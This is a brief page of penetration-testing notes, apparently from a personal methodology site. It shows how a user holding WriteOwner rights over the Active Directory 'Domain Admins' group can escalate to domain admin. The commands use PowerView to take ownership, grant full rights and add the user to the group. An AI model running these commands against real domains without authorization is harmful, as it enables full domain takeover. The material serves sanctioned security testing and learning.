> For the complete documentation index, see [llms.txt](https://lyethar.gitbook.io/methodology/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lyethar.gitbook.io/methodology/readme/active-directory/exploitation/writeowner-over-domain-admins.md).

# WriteOwner Over Domain Admins

![](https://3418038199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyTPWZkKJbJfX8uHiRzmn%2Fuploads%2FrXZruoW6dpeHzPFQqa0a%2F2022-08-16_15-34.png?alt=media\&token=82f263b7-775a-425f-8360-6307b87a73cb)

What this basically means is that we can pottentially add that user to the Domain Admins Groupjs because it has write permissions on the properties of the group. 

Depending whether we have credentials or a session as the user we might have to provide the variables for the password and the creds.

After importing PowerView.

```
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity <user that has privs>
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -Rights All -PrincipalIdentity <user that has the priv>
net group "Domain Admins" Muser that has the priv> /add /domain
```

Afterwards we should be part of the domain admins.&#x20;